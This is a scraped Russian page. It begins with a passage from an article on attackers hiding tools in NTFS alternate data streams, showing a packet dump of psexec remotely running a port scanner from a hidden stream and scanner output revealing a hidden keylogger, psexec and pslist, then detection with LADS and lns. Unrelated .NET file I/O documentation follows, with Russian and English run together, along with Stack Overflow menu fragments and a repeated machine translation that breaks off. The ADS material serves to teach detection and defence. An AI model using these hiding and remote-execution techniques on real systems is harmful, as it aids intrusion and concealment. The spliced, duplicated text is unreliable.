Утилита для сканирования, ipeye.exe, часто используется хакерами для дальнейшего проникновения в сеть. Обратите внимание, для тестирования я использовал еще один компьютер, имеющий IP адрес 192.168.1.100 и слушающий 139 порт. Однако, как хакер, пришедший из внешней сети, для того чтобы найти это компьютер, я должен был бы произвести сканирование внутренней сети, используя один из зарезервированных диапазонов IP адресов.

 11:52:56.536785 IP (tos 0x0, ttl 128, id 2126, offset 0, flags [DF], 
 length: 107) 192.168.1.101.1030 > 192.168.1.102.4321: P [tcp sum ok] 
 3530302032:3530302099(67) ack 758423756 win 17078
 0x0000 4500 006b 084e 4000 8006 6e23 c0a8 0165 [email protected]#...e
 0x0010 c0a8 0166 0406 10e1 d26c 2250 2d34 a0cc ...f.....l"P-4..
 0x0020 5018 42b6 f6d2 0000 7073 6578 6563 2e65 P.B.....psexec.e
 0x0030 7865 2063 3a5c 636f 6d70 6171 5c74 6573 xe.c:\compaq\tes
 0x0040 745f 6669 6c65 3a69 7065 7965 2e65 7865 t_file:ipeye.exe
 0x0050 2031 3932 2e31 3638 2e31 2e31 3030 202d .192.168.1.100.-
 0x0060 7379 6e20 2d70 2031 3339 0a syn.-p.139.
 
 11:52:56.536816 IP (tos 0x0, ttl 64, id 40474, offset 0, flags [DF], 
 length: 40) 192.168.1.102.4321 > 192.168.1.101.1030: . [tcp sum ok] 
 ack 3530302099 win 58400
 0x0000 4500 0028 9e1a 4000 4006 189a c0a8 0166 E..(..@[email protected]
 0x0010 c0a8 0165 10e1 0406 2d34 a0cc d26c 2293 ...e....-4...l".
 0x0020 5010 e420 6fb0 0000 P...o...
 
 11:52:56.546849 IP (tos 0x0, ttl 128, id 2127, offset 0, flags [DF], 
 length: 166) 192.168.1.101.1030 > 192.168.1.102.4321: P [tcp sum ok] 
 3530302099:3530302225(126) ack 758423756 win 17078
 0x0000 4500 00a6 084f 4000 8006 6de7 c0a8 0165 [email protected]
 0x0010 c0a8 0166 0406 10e1 d26c 2293 2d34 a0cc ...f.....l".-4..
 0x0020 5018 42b6 d271 0000 0d0a 5073 4578 6563 P.B..q....PsExec
 0x0030 2076 312e 3535 202d 2045 7865 6375 7465 .v1.55.-.Execute
 0x0040 2070 726f 6365 7373 6573 2072 656d 6f74 .processes.remot
 0x0050 656c 790d 0a43 6f70 7972 6967 6874 2028 ely..Copyright.(
 0x0060 4329 2032 3030 312d 3230 3034 204d 6172 C).2001-2004.Mar
 0x0070 6b20 5275 7373 696e 6f76 6963 680d 0a53 k.Russinovich..S
 0x0080 7973 696e 7465 726e 616c 7320 2d20 7777 ysinternals.-.ww
 0x0090 772e 7379 7369 6e74 6572 6e61 6c73 2e63 w.sysinternals.c
 0x00a0 6f6d 0d0a 0d0a om....
 
 11:52:56.546883 IP (tos 0x0, ttl 64, id 40475, offset 0, flags [DF], 
 length: 40) 192.168.1.102.4321 > 192.168.1.101.1030: . [tcp sum ok] 
 ack 3530302225 win 58400
 0x0000 4500 0028 9e1b 4000 4006 1899 c0a8 0166 E..(..@[email protected]
 0x0010 c0a8 0165 10e1 0406 2d34 a0cc d26c 2311 ...e....-4...l#.
 0x0020 5010 e420 6f32 0000 P...o2..
 
 11:53:00.403951 IP (tos 0x0, ttl 128, id 2161, offset 0, flags [DF], 
 length: 229) 192.168.1.101.1030 > 192.168.1.102.4321: P [tcp sum ok] 
 3530302225:3530302414(189) ack 758423756 win 17078
 0x0000 4500 00e5 0871 4000 8006 6d86 c0a8 0165 [email protected]
 0x0010 c0a8 0166 0406 10e1 d26c 2311 2d34 a0cc ...f.....l#.-4..
 0x0020 5018 42b6 8c3c 0000 0d0a 6970 4579 6520 P.B..<....ipEye.
 0x0030 312e 3220 2d20 2863 2920 3230 3030 2d32 1.2.-.(c).2000-2
 0x0040 3030 312c 2041 726e 6520 5669 6473 7472 001,.Arne.Vidstr
 0x0050 6f6d 2028 6172 6e65 2e76 6964 7374 726f om.(arne.vidstro
 0x0060 6d40 6e74 7365 6375 7269 7479 2e6e 7529 [email protected])
 0x0070 0d0a 2020 2020 2020 2020 2020 2d20 6874 ............-.ht
 0x0080 7470 3a2f 2f6e 7473 6563 7572 6974 792e tp://ntsecurity.
 0x0090 6e75 2f74 6f6f 6c62 6f78 2f69 7065 7965 nu/toolbox/ipeye
 0x00a0 2f0d 0a0d 0a20 2031 2d31 3338 205b 6e6f /......1-138.[no
 0x00b0 7420 7363 616e 6e65 645d 0d0a 2020 3133 t.scanned]....13
 0x00c0 3920 5b6f 7065 6e5d 0d0a 2020 3134 302d 9.[open]....140-
 0x00d0 3635 3533 3520 5b6e 6f74 2073 6361 6e6e 65535.[not.scann
 0x00e0 6564 5d0d 0a ed]..
 
Анализируя приведенные пакеты, мы можем сделать вывод, что сканер портов отработал успешно. Мы получили информацию, что порт 139 на сканируемой машине действительно открыт. Так как этот компьютер находится в моей лаборатории, у меня есть возможности проверить и подтвердить результаты. Этот пример демонстрирует возможность злонамеренного использования потоков хакерами. Но нужно иметь в виду, что служащие компании потенциально могли скрыть такой нежелательный контент как порнография, юридически законный или незаконный в зависимости от конкретного места.

4. Решение проблемы

Теперь рассмотрим несколько утилит для обнаружения альтернативных потоков данных. Будет показано состояние системы до и после компрометации, чтобы было ясно видно, что альтернативные потоки данных появились только после взлома. Эти утилиты будут использоваться для подтверждения нашей демонстрации и проверки того, все ли из них смогли обнаружить наличие альтернативных потоков данных.

Что делать с проблемой злонамеренного использования альтернативных потоков данных. Есть несколько неплохих утилит, написанных талантливыми разработчиками Frank Heyne и Arne Vidstrom, которые позволяют обнаруживать альтернативные потоки данных.

Чтобы показать, что из себя представляют эти потоки и как их можно обнаружить будет показан снимок системы до компрометации и после. Для обнаружения альтернативных потоков данных в Windows 2000 мы воспользуемся утилитами lads и lns. Ниже показан вывод каждой из этих утилит, запущенных на недавно установленной W2K.

 LADS - Freeware version 4.00
 (C) Copyright 1998-2004 Frank Heyne Software (http://www.heysoft.de)
 This program lists files with alternate data streams (ADS)
 Use LADS on your own risk!
 
 Scanning directory C:
 size ADS in file
 ---------- ---------------------------------
 Error 32 opening C:\pagefile.sys
 
 The following summary might be incorrect because there was at least one error!
 
 0 bytes in 0 ADS listed
 
 lns 1.0 - (c) 2002, Arne Vidstrom ([email protected])
 - http://ntsecurity.nu/toolbox/lns/
 
Как и ожидалось, ничего не найдено. Теперь посмотрите на вывод этих утилит, полученный после компрометации компьютера жертвы.

 LADS - Freeware version 4.00
 (C) Copyright 1998-2004 Frank Heyne Software (http://www.heysoft.de)
 This program lists files with alternate data streams (ADS)
 Use LADS on your own risk!
 
 Scanning directory C:\compaq
 size ADS in file
 ---------- ---------------------------------
 32768 C:\compaq\test_file:ipeye.exe
 32768 C:\compaq\test_file2:klogger.exe
 143360 C:\compaq\test_file3:psexec.exe
 86016 C:\compaq\test_file4:pslist.exe
 
 294912 bytes in 4 ADS listed
 
 lns 1.0 - (c) 2002, Arne Vidstrom ([email protected])
 - http://ntsecurity.nu/toolbox/lns/
 
 c:\compaq\test_file
 - Alternative data stream [:ipeye.exe:$DATA]
 
 c:\compaq\test_file2
 - Alternative data stream [:klogger.exe:$DATA]
 
 c:\compaq\test_file3
 - Alternative data stream [:psexec.exe:$DATA]
 
 c:\compaq\test_file4
 - Alternative data stream [:pslist.exe:$DATA]
 
Как мы видим, вышеупомянутые утилиты успешно обнаружили созданные нами альтернативные потоки данных. Таким образом, используя свободно распространяемые утилиты, вы можете легко найти альтернативные потоки данных на вашем компьютере. Настоятельно рекомендуется производить такой поиск регулярно. В то время как некоторые производители антивирусов только начинают обращать внимание на альтернативные потоки данных, вы можете свободно использовать утилиту, созданную специально для обнаружения этих потоков.

5. Заключение

Альтернативные потоки данных в Windows NTFS являются реальной угрозой, которая, однако, может быть успешно минимизирована путем использования качественных средств защиты. Кроме этого, как было показано, обнаружить и идентифицировать альтернативные потоки данных можно с помощью двух свободно распространяемых утилит, что позволяет вовремя уведомить администратора об угрозе и дать ему время для адекватного реагирования. Имейте в виду, что в нашем случае использовалась тестовая машина с не обновленной версией Windows 2000, поэтому для реализации вышеописанного процесса на ОС с установленными пакетами обновлений нужно было бы использовать другой способ проникновения на компьютер, после успешного осуществления которого можно было бы создавать альтернативные потоки данных.

Файловый и потоковый ввод-вывод — .NET

  • Чтение занимает 7 мин

В этой статье

Файловый и потоковый ввод-вывод относятся к передаче данных с носителя информации или на него.File and stream I/O (input/output) refers to the transfer of data either to or from a storage medium. В .NET пространства имен System.IO содержат типы, которые обеспечивают как синхронные, так и асинхронные операции чтения и записи для потоков и файлов.In .NET, the System.IO namespaces contain types that enable reading and writing, both synchronously and asynchronously, on data streams and files. Кроме того, эти пространства имен содержат типы, выполняющие сжатие и распаковку файлов, а также типы, которые обеспечивают взаимодействие через каналы и последовательные порты.These namespaces also contain types that perform compression and decompression on files, and types that enable communication through pipes and serial ports.

Файл — это упорядоченная и именованная последовательность байтов, имеющая постоянное хранилище.A file is an ordered and named collection of bytes that has persistent storage. При работе с файлами используются пути к каталогам, запоминающие устройства, а также имена файлов и каталогов.When you work with files, you work with directory paths, disk storage, and file and directory names. В отличие от файла, поток — это последовательность байтов, которую можно использовать для записи или чтения из вспомогательного запоминающего устройства, являющегося одним из устройств хранения информации (например, дисков или памяти).In contrast, a stream is a sequence of bytes that you can use to read from and write to a backing store, which can be one of several storage mediums (for example, disks or memory). Есть несколько видов запоминающих устройств, отличных от дисков, и существует несколько видов потоков, помимо файловых потоков, например сетевые потоки, потоки памяти и потоки каналов.Just as there are several backing stores other than disks, there are several kinds of streams other than file streams, such as network, memory, and pipe streams.

Файлы и каталогиFiles and directories

Типы в пространстве имен System.IO можно использовать для взаимодействия с файлами и каталогами.You can use the types in the System.IO namespace to interact with files and directories. Например, можно получать и задавать свойства файлов и каталогов, а также извлекать коллекции файлов и каталогов на основе критерия поиска.For example, you can get and set properties for files and directories, and retrieve collections of files and directories based on search criteria.

Соглашения об именовании и способы указания пути к файлу в системах Windows, включая синтаксис устройств DOS, поддерживаемый в .NET Core 1.1 и более поздних версиях и платформе .NET Framework 4.6.2 и более поздних версиях, см. в статье Форматы путей файлов в системах Windows.For path naming conventions and the ways to express a file path for Windows systems, including with the DOS device syntax supported in .NET Core 1.1 and later and .NET Framework 4.6.2 and later, see File path formats on Windows systems.

Ниже перечислены некоторые часто используемые классы для файлов и каталогов:Here are some commonly used file and directory classes:

  • File предоставляет статические методы для создания, копирования, удаления, перемещения и открытия файлов, а также помогает создать объект FileStream.File - provides static methods for creating, copying, deleting, moving, and opening files, and helps create a FileStream object.

  • FileInfo предоставляет методы экземпляра для создания, копирования, удаления, перемещения и открытия файлов, а также помогает создать объект FileStream.FileInfo - provides instance methods for creating, copying, deleting, moving, and opening files, and helps create a FileStream object.

  • Directory предоставляет статические методы для создания, перемещения и перечисления в каталогах и подкаталогах.Directory - provides static methods for creating, moving, and enumerating through directories and subdirectories.

  • DirectoryInfo предоставляет методы экземпляра для создания, перемещения и перечисления в каталогах и подкаталогах.DirectoryInfo - provides instance methods for creating, moving, and enumerating through directories and subdirectories.

  • Path предоставляет методы и свойства для обработки строк каталогов межплатформенным способом.Path - provides methods and properties for processing directory strings in a cross-platform manner.

При вызове методов для работы с файловой системой следует всегда использовать надежные механизмы обработки исключений.You should always provide robust exception handling when calling filesystem methods. Дополнительные сведения см. в разделе об обработке ошибок ввода-вывода.For more information, see Handling I/O errors.

Помимо использования этих классов, пользователи Visual Basic могут использовать методы и свойства, предоставляемые классом Microsoft.VisualBasic.FileIO.FileSystem для файлового ввода-вывода.In addition to using these classes, Visual Basic users can use the methods and properties provided by the Microsoft.VisualBasic.FileIO.FileSystem class for file I/O.

См. практическое руководство по Копирование каталогов, Практическое руководство. Создание списка каталогов и Практическое руководство. перечислить каталоги и файлы.See How to: Copy Directories, How to: Create a Directory Listing, and How to: Enumerate Directories and Files.

ПотокиStreams

Абстрактный базовый класс Stream поддерживает чтение и запись байтов.The abstract base class Stream supports reading and writing bytes. Все классы, представляющие потоки, являются производными от класса Stream.All classes that represent streams inherit from the Stream class. Класс Stream и его производные классы обеспечивают общий способ просмотра источников данных и хранилищ объектов, а также изолируют программиста от специфических особенностей операционной системы и базовых устройств.The Stream class and its derived classes provide a common view of data sources and repositories, and isolate the programmer from the specific details of the operating system and underlying devices.

Потоки включают три основные операции:Streams involve three fundamental operations:

  • Чтение — перенос информации из потока в структуру данных, такую как массив байтов.Reading - transferring data from a stream into a data structure, such as an array of bytes.

  • Запись — перенос данных в поток из источника данных.Writing - transferring data to a stream from a data source.

  • Поиск — определение и изменение текущей позиции внутри потока.Seeking - querying and modifying the current position within a stream.

В зависимости от базового источника или хранилища данных поток может поддерживать лишь некоторые из этих возможностей.Depending on the underlying data source or repository, a stream might support only some of these capabilities. Например, класс PipeStream не поддерживает поиск.For example, the PipeStream class does not support seeking. Свойства CanRead, CanWrite и CanSeek потока определяют операции, поддерживаемые потоком.The CanRead, CanWrite, and CanSeek properties of a stream specify the operations that the stream supports.

Ниже перечислены некоторые часто используемые классы потока:Here are some commonly used stream classes:

  • FileStream — для чтения и записи в файл.FileStream – for reading and writing to a file.

  • IsolatedStorageFileStream — для чтения и записи в файл в изолированном хранилище.IsolatedStorageFileStream – for reading and writing to a file in isolated storage.

  • MemoryStream — для чтения и записи в память в качестве резервного хранилища.MemoryStream – for reading and writing to memory as the backing store.

  • BufferedStream — для повышения быстродействия операций чтения и записи.BufferedStream – for improving performance of read and write operations.

  • NetworkStream — для чтения и записи на сетевые сокеты.NetworkStream – for reading and writing over network sockets.

  • PipeStream — для чтения и записи в анонимные и именованные каналы.PipeStream – for reading and writing over anonymous and named pipes.

  • CryptoStream — для связи потоков данных с криптографическими преобразованиями.CryptoStream – for linking data streams to cryptographic transformations.

Пример асинхронной работы с потоками см. в разделе Асинхронный файловый ввод-вывод.For an example of working with streams asynchronously, see Asynchronous File I/O.

Средства чтения и записиReaders and writers

Пространство имен System.IO также предоставляет типы для чтения закодированных символов из потоков и их записи в потоки.The System.IO namespace also provides types for reading encoded characters from streams and writing them to streams. Как правило, потоки предназначены для ввода и вывода байтов.Typically, streams are designed for byte input and output. Типы чтения и записи обрабатывают преобразование закодированных символов в байты или из байтов, чтобы поток мог завершить операцию.The reader and writer types handle the conversion of the encoded characters to and from bytes so the stream can complete the operation. Каждый класс чтения и записи связан с потоком, который можно получить с помощью свойства класса BaseStream.Each reader and writer class is associated with a stream, which can be retrieved through the class's BaseStream property.

Ниже перечислены некоторые часто используемые классы для чтения и записи:Here are some commonly used reader and writer classes:

  • BinaryReader и BinaryWriter — для чтения и записи простых типов данных, таких как двоичные значения.BinaryReader and BinaryWriter – for reading and writing primitive data types as binary values.

  • StreamReader и StreamWriter — для чтения и записи символов с использованием закодированного значения для преобразования символов в байты или из байтов.StreamReader and StreamWriter – for reading and writing characters by using an encoding value to convert the characters to and from bytes.

  • StringReader и StringWriter — для чтения и записи символов в строки или из строк.StringReader and StringWriter – for reading and writing characters to and from strings.

  • TextReader и TextWriter используются в качестве абстрактных базовых классов для других средств чтения и записи, которые считывают и записывают символы и строки, а не двоичные данные.TextReader and TextWriter – serve as the abstract base classes for other readers and writers that read and write characters and strings, but not binary data.

См. практическое руководство по Считывание текста из файла, Практическое руководство. Запись текста в файл, Практическое руководство. Считывание символов из строки и Практическое руководство. Запись символов в строку.See How to: Read Text from a File, How to: Write Text to a File, How to: Read Characters from a String, and How to: Write Characters to a String.

Асинхронные операции ввода-выводаAsynchronous I/O operations

Чтение и запись больших объемов данных может быть ресурсоемкой.Reading or writing a large amount of data can be resource-intensive. Эти задачи необходимо выполнять асинхронно, если приложение должно продолжать отвечать на запросы пользователя.You should perform these tasks asynchronously if your application needs to remain responsive to the user. В случае синхронных операций ввода-вывода поток пользовательского интерфейса будет заблокирован до тех пор, пока ресурсоемкая операция не завершится.With synchronous I/O operations, the UI thread is blocked until the resource-intensive operation has completed. При разработке приложений Microsoft Store для Windows 8.x используйте асинхронные операции ввода-вывода, чтобы не создавалось впечатления, что приложение прекратило свою работу.Use asynchronous I/O operations when developing Windows 8.x Store apps to prevent creating the impression that your app has stopped working.

Имена асинхронных элементов содержат Async, например: CopyToAsync, FlushAsync, ReadAsync и WriteAsync.The asynchronous members contain Async in their names, such as the CopyToAsync, FlushAsync, ReadAsync, and WriteAsync methods. Используйте эти методы с ключевыми словами async и await.You use these methods with the async and await keywords.

Дополнительные сведения см. в разделе Асинхронный файловый ввод-вывод.For more information, see Asynchronous File I/O.

СжатиеCompression

Сжатием называется процесс сокращения размера сохраняемого файла.Compression refers to the process of reducing the size of a file for storage. Распаковка — это процесс извлечения содержимого сжатого файла, что приводит его в формат, пригодный для использования.Decompression is the process of extracting the contents of a compressed file so they are in a usable format. Пространство имен System.IO.Compression содержит типы для сжатия и распаковки файлов и потоков.The System.IO.Compression namespace contains types for compressing and decompressing files and streams.

При сжатии и распаковке файлов и потоков часто используются следующие классы:The following classes are frequently used when compressing and decompressing files and streams:

  • ZipArchive — для создания и восстановления содержимого ZIP-архива.ZipArchive – for creating and retrieving entries in the zip archive.

  • ZipArchiveEntry — для представления сжатого файла.ZipArchiveEntry – for representing a compressed file.

  • ZipFile — для создания, извлечения и открытия сжатого пакета.ZipFile – for creating, extracting, and opening a compressed package.

  • ZipFileExtensions — для создания и извлечения содержимого из сжатого пакета.ZipFileExtensions – for creating and extracting entries in a compressed package.

  • DeflateStream — для сжатия и распаковки потоков с помощью алгоритма Deflate.DeflateStream – for compressing and decompressing streams using the Deflate algorithm.

  • GZipStream — для сжатия и распаковки потоков в формате gzip.GZipStream – for compressing and decompressing streams in gzip data format.

См. практическое руководство по Сжатие и извлечение файлов.See How to: Compress and Extract Files.

Изолированное хранилищеIsolated storage

Изолированное хранилище — это механизм хранения данных, обеспечивающий изоляцию и безопасность путем определения стандартизованных способов сопоставления кода с хранимыми данными.Isolated storage is a data storage mechanism that provides isolation and safety by defining standardized ways of associating code with saved data. Хранилище предоставляет виртуальную файловую систему, изолированную по пользователю, сборке и (необязательно) домену.The storage provides a virtual file system that is isolated by user, assembly, and (optionally) domain. Изолированное хранилище особенно полезно в том случае, когда приложение не имеет разрешения на доступ к файлам пользователя.Isolated storage is particularly useful when your application does not have permission to access user files. Можно сохранить параметры или файлы для приложения таким способом, который контролируется политикой безопасности компьютера.You can save settings or files for your application in a manner that is controlled by the computer's security policy.

Изолированное хранилище недоступно для приложений Microsoft Store для Windows 8.x. Вместо этого используйте классы данных приложения в пространстве имен Windows.Storage.Isolated storage is not available for Windows 8.x Store apps; instead, use application data classes in the Windows.Storage namespace. Дополнительные сведения см. в разделе Данные приложения.For more information, see Application data.

Часто используются следующие классы, реализующие изолированное хранилище:The following classes are frequently used when implementing isolated storage:

  • IsolatedStorage предоставляет базовый класс для реализации изолированного хранилища.IsolatedStorage – provides the base class for isolated storage implementations.

  • IsolatedStorageFile предоставляет область изолированного хранилища, в которой содержатся файлы и каталоги.IsolatedStorageFile – provides an isolated storage area that contains files and directories.

  • IsolatedStorageFileStream представляет файл в изолированном хранилище.IsolatedStorageFileStream - exposes a file within isolated storage.

См. раздел Изолированное хранилище.See Isolated Storage.

Операции ввода-вывода в приложениях Microsoft StoreI/O operations in Windows Store apps

.NET для приложений Магазина Windows 8.x содержит множество типов для чтения и записи в потоки, однако этот набор содержит не все типы ввода-вывода .NET..NET for Windows 8.x Store apps contains many of the types for reading from and writing to streams; however, this set does not include all the .NET I/O types.

Следует отметить некоторые важные различия в использовании операций ввода-вывода в приложениях Microsoft Store для Windows 8.x:Some important differences to note when using I/O operations in Windows 8.x Store apps:

  • Специальные типы, относящиеся к операциям с файлами, такие как File, FileInfo, Directory и DirectoryInfo, не включены в .NET для приложений Магазина Windows 8.x.Types specifically related to file operations, such as File, FileInfo, Directory and DirectoryInfo, are not included in the .NET for Windows 8.x Store apps. Вместо этого используйте типы в пространстве имен Windows.Storage среды выполнения Windows, например StorageFile и StorageFolder.Instead, use the types in the Windows.Storage namespace of the Windows Runtime, such as StorageFile and StorageFolder.

  • Изолированное хранилище недоступно; вместо этого используйте данные приложения.Isolated storage is not available; instead, use application data.

  • Используйте асинхронные методы, такие как ReadAsync и WriteAsync, чтобы предотвратить блокировку потока пользовательского интерфейса.Use asynchronous methods, such as ReadAsync and WriteAsync, to prevent blocking the UI thread.

  • Типы сжатия на основе пути ZipFile и ZipFileExtensions недоступны.The path-based compression types ZipFile and ZipFileExtensions are not available. Вместо этого используйте типы в пространстве имен Windows.Storage.Compression.Instead, use the types in the Windows.Storage.Compression namespace.

При необходимости можно осуществлять преобразование между потоками .NET Framework и потоками среды выполнения Windows.You can convert between .NET Framework streams and Windows Runtime streams, if necessary. Дополнительные сведения см. в разделе Практическое руководство. Преобразование между потоками .NET Framework и потоками среды выполнения Windows или WindowsRuntimeStreamExtensions.For more information, see How to: Convert Between .NET Framework Streams and Windows Runtime Streams or WindowsRuntimeStreamExtensions.

Дополнительные сведения об операциях ввода-вывода в приложении Microsoft Store для Windows 8.x: Краткое руководство. Чтение и запись файлов.For more information about I/O operations in a Windows 8.x Store app, see Quickstart: Reading and writing files.

Ввод-вывод и безопасностьI/O and security

При использовании классов в пространстве имен System.IO необходимо выполнить требования безопасности операционной системы, такие как списки управления доступом для контроля доступа к файлам и каталогам.When you use the classes in the System.IO namespace, you must follow operating system security requirements such as access control lists (ACLs) to control access to files and directories. Это требование дополняет остальные требования FileIOPermission.This requirement is in addition to any FileIOPermission requirements. Списками управления доступом можно управлять программно.You can manage ACLs programmatically. Дополнительные сведения см. в разделе Практическое руководство. Добавление или удаление записей списка управления доступом.For more information, see How to: Add or Remove Access Control List Entries.

По умолчанию политика безопасности не позволяет обращаться к файлам на компьютере пользователя через Интернет или из приложений интрасети.Default security policies prevent Internet or intranet applications from accessing files on the user's computer. Поэтому при составлении кода не используйте классы ввода-вывода, которым требуется путь к физическому файлу, загружаемому через Интернет или интрасеть.Therefore, do not use the I/O classes that require a path to a physical file when writing code that will be downloaded over the internet or intranet. Вместо этого используйте изолированное хранилище для приложений .NET.Instead, use isolated storage for .NET applications.

Проверка безопасности выполняется только при создании потока.A security check is performed only when the stream is constructed. Поэтому не рекомендуется открывать поток, а затем передавать его коду с меньшим уровнем доверия или доменам приложений.Therefore, do not open a stream and then pass it to less-trusted code or application domains.

  • Распространенные задачи ввода-выводаCommon I/O Tasks
    Содержит список задач ввода-вывода, связанных с файлами, каталогами и потоками, а также ссылки на соответствующее содержимое и примеры для каждой задачи.Provides a list of I/O tasks associated with files, directories, and streams, and links to relevant content and examples for each task.

  • Асинхронный файловый ввод-выводAsynchronous File I/O
    Описывает преимущества и основные операции асинхронного ввода и вывода.Describes the performance advantages and basic operation of asynchronous I/O.

  • Изолированное хранилищеIsolated Storage
    Описывает механизм хранения данных, обеспечивающий автономность и безопасность путем определения стандартизованных способов сопоставления кода с защищенными данными.Describes a data storage mechanism that provides isolation and safety by defining standardized ways of associating code with saved data.

  • КаналыPipes
    Описывает операции с анонимными и именованными каналами в .NET.Describes anonymous and named pipe operations in .NET.

  • Сопоставленные в памяти файлыMemory-Mapped Files
    Описание отображаемых в память файлов, позволяющих разместить содержимое файлов с диска в виртуальной памяти.Describes memory-mapped files, which contain the contents of files on disk in virtual memory. С их помощью можно вносить изменения в очень большие файлы и создавать совместно используемую память для межпроцессного взаимодействия.You can use memory-mapped files to edit very large files and to create shared memory for interprocess communication.

c - Как создать файловый поток?

Переполнение стека
  1. Около
  2. Товары
  3. Для команд
  1. Переполнение стека Общественные вопросы и ответы
  2. Переполнение стека для команд Где разработчики и технологи делятся частными знаниями с коллегами
  3. Вакансии Программирование и связанные с ним технические возможности карьерного роста
  4. Талант Нанимайте технических специалистов и создавайте свой бренд работодателя
.

c # - Как добавить поток в файл?

Переполнение стека
  1. Около
  2. Товары
  3. Для команд
  1. Переполнение стека Общественные вопросы и ответы
  2. Переполнение стека для команд Где разработчики и технологи делятся частными знаниями с коллегами
  3. Вакансии Программирование и связанные с ним технические возможности карьерного роста
  4. Талант
.

java - как преобразовать входной поток в файл

Переполнение стека
  1. Около
  2. Товары
  3. Для команд
  1. Переполнение стека Общественные вопросы и ответы
  2. Переполнение стека для команд Где разработчики и технологи делятся частными знаниями с коллегами
  3. Вакансии Программирование и связанные с ним технические возможности карьерного роста
  4. Талант Нанимайте технических специалистов и создавайте свой бренд работодателя
.

Файловый и потоковый ввод-вывод - .NET

  • 7 минут на чтение

В этой статье

Файловый и потоковый ввод-вывод (ввод / вывод) относится к передаче данных на носитель или с него. В .NET пространства имен System.IO содержат типы, которые позволяют читать и записывать как синхронно, так и асинхронно в потоки данных и файлы.Эти пространства имен также содержат типы, которые выполняют сжатие и распаковку файлов, и типы, которые обеспечивают связь через каналы и последовательные порты.

Файл - это упорядоченный именованный набор байтов, имеющий постоянное хранилище. Когда вы работаете с файлами, вы работаете с путями к каталогам, дисковым хранилищем и именами файлов и каталогов. Напротив, поток - это последовательность байтов, которую вы можете использовать для чтения и записи в резервное хранилище, которое может быть одним из нескольких носителей информации (например, дисками или памятью).Так же, как существует несколько резервных хранилищ, отличных от дисков, существует несколько видов потоков, помимо файловых потоков, таких как потоки сети, памяти и конвейера.

Файлы и каталоги

Вы можете использовать типы в пространстве имен System.IO для взаимодействия с файлами и каталогами. Например, вы можете получать и устанавливать свойства для файлов и каталогов, а также извлекать коллекции файлов и каталогов на основе критериев поиска.

Для соглашений об именах путей и способов обозначения пути к файлу в системах Windows, в том числе с синтаксисом устройства DOS, поддерживаемым в.NET Core 1.1 и более поздних версий и .NET Framework 4.6.2 и более поздних версий см. В разделе Форматы путей к файлам в системах Windows.

Вот некоторые часто используемые классы файлов и каталогов:

  • File - предоставляет статические методы для создания, копирования, удаления, перемещения и открытия файлов, а также помогает создать объект FileStream.

  • FileInfo - предоставляет методы экземпляра для создания, копирования, удаления, перемещения и открытия файлов и помогает создать объект FileStream.

  • Каталог - предоставляет статические методы для создания, перемещения и перечисления каталогов и подкаталогов.

  • DirectoryInfo - предоставляет методы экземпляра для создания, перемещения и перечисления каталогов и подкаталогов.

  • Путь - предоставляет методы и свойства для обработки строк каталога кроссплатформенным способом.

Вы всегда должны обеспечивать надежную обработку исключений при вызове методов файловой системы. Для получения дополнительной информации см. Обработка ошибок ввода-вывода.

Помимо использования этих классов, пользователи Visual Basic могут использовать методы и свойства, предоставляемые Microsoft.VisualBasic.FileIO.FileSystem класс для файлового ввода-вывода.

См. Практическое руководство. Копирование каталогов, Практическое руководство. Создание списка каталогов и Практическое руководство. Перечисление каталогов и файлов.

Потоки

Абстрактный базовый класс Stream поддерживает чтение и запись байтов. Все классы, представляющие потоки, наследуются от класса Stream. Класс Stream и его производные классы предоставляют общее представление об источниках данных и репозиториях и изолируют программиста от конкретных деталей операционной системы и базовых устройств.

Streams включает три основных операции:

  • Чтение - передача данных из потока в структуру данных, такую ​​как массив байтов.

  • Запись - передача данных в поток из источника данных.

  • Поиск - запрос и изменение текущей позиции в потоке.

В зависимости от базового источника данных или репозитория поток может поддерживать только некоторые из этих возможностей.Например, класс PipeStream не поддерживает поиск. Свойства CanRead, CanWrite и CanSeek потока определяют операции, которые поддерживает поток.

Вот некоторые часто используемые классы потоков:

  • FileStream - для чтения и записи в файл.

  • IsolatedStorageFileStream - для чтения и записи файла в изолированном хранилище.

  • MemoryStream - для чтения и записи в память в качестве резервного хранилища.

  • BufferedStream - для повышения производительности операций чтения и записи.

  • NetworkStream - для чтения и записи через сетевые сокеты.

  • PipeStream - для чтения и записи по анонимным и именованным каналам.

  • CryptoStream - для связывания потоков данных с криптографическими преобразованиями.

Пример асинхронной работы с потоками см. В разделе Асинхронный файловый ввод-вывод.

Читатели и писатели

Пространство имен System.IO также предоставляет типы для чтения закодированных символов из потоков и записи их в потоки. Обычно потоки предназначены для байтового ввода и вывода. Типы чтения и записи обрабатывают преобразование закодированных символов в байты и обратно, чтобы поток мог завершить операцию. Каждый класс чтения и записи связан с потоком, который можно получить с помощью свойства BaseStream .

Вот несколько часто используемых классов для чтения и записи:

  • BinaryReader и BinaryWriter - для чтения и записи примитивных типов данных в виде двоичных значений.

  • StreamReader и StreamWriter - для чтения и записи символов с использованием значения кодировки для преобразования символов в байты и обратно.

  • StringReader и StringWriter - для чтения и записи символов в строки и из строк.

  • TextReader и TextWriter - служат абстрактными базовыми классами для других читателей и писателей, которые читают и записывают символы и строки, но не двоичные данные.

См. Как: читать текст из файла, как: записывать текст в файл, как: читать символы из строки и как: записывать символы в строку.

Асинхронные операции ввода-вывода

Чтение или запись большого количества данных может потребовать значительных ресурсов. Вы должны выполнять эти задачи асинхронно, если ваше приложение должно оставаться отзывчивым к пользователю. При синхронных операциях ввода-вывода поток пользовательского интерфейса блокируется до завершения ресурсоемкой операции. Используйте асинхронные операции ввода-вывода при разработке приложений Магазина Windows 8.x, чтобы не создавать впечатление, что ваше приложение перестало работать.

Асинхронные члены содержат Async в своих именах, например методы CopyToAsync, FlushAsync, ReadAsync и WriteAsync.Вы используете эти методы с ключевыми словами async и await .

Для получения дополнительной информации см. Асинхронный файловый ввод-вывод.

Сжатие

Сжатие - это процесс уменьшения размера файла для хранения. Распаковка - это процесс извлечения содержимого сжатого файла в пригодный для использования формат. Пространство имен System.IO.Compression содержит типы для сжатия и распаковки файлов и потоков.

Следующие классы часто используются при сжатии и распаковке файлов и потоков:

  • ZipArchive - для создания и получения записей в zip-архиве.

  • ZipArchiveEntry - для представления сжатого файла.

  • ZipFile - для создания, извлечения и открытия сжатого пакета.

  • ZipFileExtensions - для создания и извлечения записей в сжатом пакете.

  • DeflateStream - для сжатия и распаковки потоков с использованием алгоритма Deflate.

  • GZipStream - для сжатия и распаковки потоков в формате данных gzip.

См. Как: сжатие и извлечение файлов.

Изолированное хранилище

